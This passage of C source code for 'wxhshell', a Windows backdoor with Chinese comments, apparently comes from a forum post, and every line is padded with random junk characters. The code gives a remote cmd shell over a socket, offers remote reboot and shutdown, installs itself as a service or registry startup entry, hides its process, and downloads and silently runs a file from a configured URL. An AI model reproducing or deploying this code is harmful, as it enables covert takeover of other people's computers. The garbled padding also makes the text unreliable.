  // 帮助 ')xOL =w  
  case '?': { L;V 8c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n Bm ]?  
    break; 4 \z@Evm  
  } V%-hP~nyBx  
  // 安装 V60L\?a  
  case 'i': { Q[OwP  
    if(Install()) .`D'eS6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ItVN,sVJb  
    else mSYjc)z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p%I)&- 8  
    break; )^:H{1'  
    } m]qw8BoU`F  
  // 卸载 A-Ba%Fv  
  case 'r': { :jTSO d[r  
    if(Uninstall()) O84]J:b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hQ#e;1uD  
    else l>6tEOXt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #*h\U]=VS  
    break; Vb,V N?l  
    } %a/3*vz/I%  
  // 显示 wxhshell 所在路径 /A9RmTb  
  case 'p': { 8lQ}-8  
    char svExeFile[MAX_PATH]; 5 kHaZ Q  
    strcpy(svExeFile,"\n\r"); 217G[YE-  
      strcat(svExeFile,ExeFile); =j>xu|q  
        send(wsh,svExeFile,strlen(svExeFile),0); HXq']+iC  
    break; JM7mQ'`Ud  
    } ?L<B]!9HZt  
  // 重启 ~& -h5=3  
  case 'b': { 5RPG3ppS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sVyV|!K  
    if(Boot(REBOOT)) r;Sk[Y5#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u=:f%l  
    else { /+*"*Br/  
    closesocket(wsh); bZ* = fdh  
    ExitThread(0); u99a"+  
    } _xKn2?d8g  
    break; _LJF:E5L  
    } 2yA)SGri  
  // 关机 U[wx){[|  
  case 'd': { bq/Aopfr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kj6:P$tH  
    if(Boot(SHUTDOWN)) "2mPWRItO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y% bIO6u:  
    else { 4c5BlD  
    closesocket(wsh); wnS,Jl  
    ExitThread(0); &=lc]sk  
    } }`qAb/Ov  
    break; ;,bgJgK  
    } oC5 h-4~  
  // 获取shell @7 Ry{,A  
  case 's': { kcfT|@:MK"  
    CmdShell(wsh); bYsX?0T!p  
    closesocket(wsh); Y4k2=w:D  
    ExitThread(0); lDL&":t  
    break; `2Pa{g- .  
  } BqNsW (+  
  // 退出 6ll!7U(9(  
  case 'x': { VWft/2p~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5/"$ _7"{a  
    CloseIt(wsh); (p>|e\(]0  
    break; R XCn;nM4  
    } Znb={hh  
  // 离开 C]!2   
  case 'q': { 9q'&tU'a=c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v#,queGi  
    closesocket(wsh); k8D _  
    WSACleanup(); K1@ Pt}  
    exit(1); </[.1&S+\  
    break; S=4o@3%$  
        } $INB_/R E  
  } 9nR\7!_  
  } .!3e$mhV  
zsp%Cz7T  
  // 提示信息 c!IZLaVAr9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hTDK[4e  
} Qu|CXUk  
  } =F+v+zP7P  
/h>g-zb  
  return; z:\9t[e4  
} p@jw)xI  
i.mv`u Dm  
// shell模块句柄 M@ U >@x;  
int CmdShell(SOCKET sock) OjGI !  
{ :8`A  
STARTUPINFO si; KQr+VQdq>  
ZeroMemory(&si,sizeof(si)); 0:V /z3?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W %*#rcdq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O,r;-t4vYU  
PROCESS_INFORMATION ProcessInfo; p!pf2}6Fd  
char cmdline[]="cmd"; X.b8qbnq[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =v:?rY}  
  return 0; gkr9+  
} p#$/{;yy  
4Fg2/O_3  
// 自身启动模式 x*1wsA  
int StartFromService(void) z$J m1l  
{ YY;<y%:8Z  
typedef struct N`W[Q>n  
{ kyHli~Nr"  
  DWORD ExitStatus; Rzd`MIHDp  
  DWORD PebBaseAddress; mi=mwN%UB  
  DWORD AffinityMask; NzT &K7v  
  DWORD BasePriority; `G$>T#Dq  
  ULONG UniqueProcessId; BA h'H&;V  
  ULONG InheritedFromUniqueProcessId; ei5YxV6I  
}   PROCESS_BASIC_INFORMATION; }5+^  
H~FI@Cf$L  
PROCNTQSIP NtQueryInformationProcess; 3X gJZ  
2F2Hl   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DZqPCMz)^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k!Yc_ZB:*l  
cC-8.2  
  HANDLE             hProcess; AlQhKL}|s  
  PROCESS_BASIC_INFORMATION pbi; mG1~rI  
C~2!@<y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p]kEH\ sh  
  if(NULL == hInst ) return 0; @_do<'a  
c5^HGIe1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z|>TkCW6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9'*7 ( j;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >M#@vIo?<6  
iM!2m$'s  
  if (!NtQueryInformationProcess) return 0; &qbEF3p^@  
|S!R Q-CF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nI3p`N8j*  
  if(!hProcess) return 0; 27!F B@k-  
{4S UG o>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~uhW~bT  
AMyg>n!  
  CloseHandle(hProcess); Y#os6|MV#  
~:Rbd9IB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0z/*JVka  
if(hProcess==NULL) return 0; TnQ>v{Rx  
P&Ke slk  
HMODULE hMod; Ll|-CY $  
char procName[255]; .?u<|4jE6  
unsigned long cbNeeded; iYr)Ao5X  
lrE"phYk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TdPd8ig8{  
"}3sL#|z  
  CloseHandle(hProcess); PSJj$bt;<+  
&@6xu{o  
if(strstr(procName,"services")) return 1; // 以服务启动 Ll KO(Q{"  
4 {M   
  return 0; // 注册表启动 5{HF'1XgZ*  
} H q6%$!q  
UV2W~g  
// 主模块 }R;}d(C`  
int StartWxhshell(LPSTR lpCmdLine) 1WtE] D  
{ "w?0f["  
  SOCKET wsl; oL]uY5eZoe  
BOOL val=TRUE; BvP\c_  
  int port=0; <6(0ZO%,C!  
  struct sockaddr_in door; 0BXr[%{`  
eay|>xa2  
  if(wscfg.ws_autoins) Install(); Un]wP`  
! t!4CY  
port=atoi(lpCmdLine); 2/ +~h(Cc  
@@H/q  
if(port<=0) port=wscfg.ws_port; x+Yo#u22  
y hKH} kR  
  WSADATA data; uUjjAGZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J'2 Yrn  
|Y Lja87  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wS=vm}}u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gor 9 &aJ1  
  door.sin_family = AF_INET; $2W#'_K+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); syr0|K[  
  door.sin_port = htons(port); k' 8q /]  
5$ik|e^:y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bv7FZK3  
closesocket(wsl); bo#xqSGQ  
return 1; ir6aV|ea!  
} ?q`i MiN  
R([zlw~B5  
  if(listen(wsl,2) == INVALID_SOCKET) { K3mP6Z#2  
closesocket(wsl); Milp"L?B%  
return 1; a &tWMxBr  
} B=]j=\o  
  Wxhshell(wsl); )M<+?R$];  
  WSACleanup(); mP*$wE9b,:  
y`j_]qvt  
return 0; |-ZML~2S=h  
vP,pK=5  
} Zd-qBOB2L  
=bh: U90y  
// 以NT服务方式启动 1{M?_~g 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y CHOg  
{ VKPEoy8H  
DWORD   status = 0; wa,`BAKJ+F  
  DWORD   specificError = 0xfffffff; 3u j|jwL  
6],?Y+_;)L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4P#jMox  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >8/Otg+h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M.Q HE2  
  serviceStatus.dwWin32ExitCode     = 0; v/ Ge+o0K  
  serviceStatus.dwServiceSpecificExitCode = 0; hwM<0Jf   
  serviceStatus.dwCheckPoint       = 0; ~0,v Q   
  serviceStatus.dwWaitHint       = 0; c!HGiqp  
oOprzxf"+Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *m]Y6  
  if (hServiceStatusHandle==0) return; b#@xg L*D  
~ox}e(x y  
status = GetLastError(); g#i~^4-1  
  if (status!=NO_ERROR) fK:4jl-r  
{ (8 7wWhH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z#!<[**&  
    serviceStatus.dwCheckPoint       = 0; Aq(cgTNW  
    serviceStatus.dwWaitHint       = 0; I'IFBVhaYn  
    serviceStatus.dwWin32ExitCode     = status; GDCp@%xW  
    serviceStatus.dwServiceSpecificExitCode = specificError; >h8m8J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J,,V KA&  
    return; 9U;  
  } Yp(0XP5o  
<U$YJtEK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1M`>;fjYa  
  serviceStatus.dwCheckPoint       = 0; <SJ6<'  
  serviceStatus.dwWaitHint       = 0; 7[=G;2<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n`^jNXE  
} ,JI]Eij^  
#8XmOJ"W3k  
// 处理NT服务事件,比如:启动、停止 1$DcE>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oC" [rn  
{ {$EX :ID  
switch(fdwControl) s2L]H  
{ 5 v.&|[\k  
case SERVICE_CONTROL_STOP: A'CD,R+gR  
  serviceStatus.dwWin32ExitCode = 0; 3]1 ! g6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '?$@hqQn  
  serviceStatus.dwCheckPoint   = 0; |?jgjn&RQ  
  serviceStatus.dwWaitHint     = 0; `<>#;%  
  { }o]}R#|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A)~ oD_ooQ  
  } ;F1y!h67<  
  return; xpp nBnu$7  
case SERVICE_CONTROL_PAUSE: +8ib928E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $G <r2lPy  
  break; [<i3l'V/[  
case SERVICE_CONTROL_CONTINUE: 5 `TMqrk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M>=@Z*u/+  
  break; ZzK^ bNx)0  
case SERVICE_CONTROL_INTERROGATE: RUr ~u  
  break; zU[o_[+7^  
}; dlyGgaV*X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kT   
} *b~8`O pa`  
8r>\scS  
// 标准应用程序主函数 jh z*Y}MX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )j'Qi^;(D  
{ )}$rgYKJ  
Ruq;:5u  
// 获取操作系统版本 3KqRw (BK  
OsIsNt=GetOsVer(); !DA4q3-U>>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q;R&valn  
 cL .z{  
  // 从命令行安装 2Rys:$  
  if(strpbrk(lpCmdLine,"iI")) Install(); enxb pq#  
D|U bh]  
  // 下载执行文件 'O 7:=l  
if(wscfg.ws_downexe) { v 2rzHzFU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5f_x.~ymA  
  WinExec(wscfg.ws_filenam,SW_HIDE); q8ZxeMqx%  
} _=x*yDPG}  
 ]LsT  
if(!OsIsNt) { N/lEfy<&g:  
// 如果时win9x,隐藏进程并且设置为注册表启动 |63uoRr  
HideProc(); kqX %y  
StartWxhshell(lpCmdLine); S7j(4@  
} 1 39T*0C  
else k]gPMhe  
  if(StartFromService()) U`N?<zm<oO  
  // 以服务方式启动 Ax|'uvVAPT  
  StartServiceCtrlDispatcher(DispatchTable); I`xC0ZUKj  
else [x?9< #T  
  // 普通方式启动 ":e6s co  
  StartWxhshell(lpCmdLine); '/D2d  
BbFLT@W4  
return 0; QDJ#zMxFD  
}
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只看该作者 1 发表于: 2006-10-10
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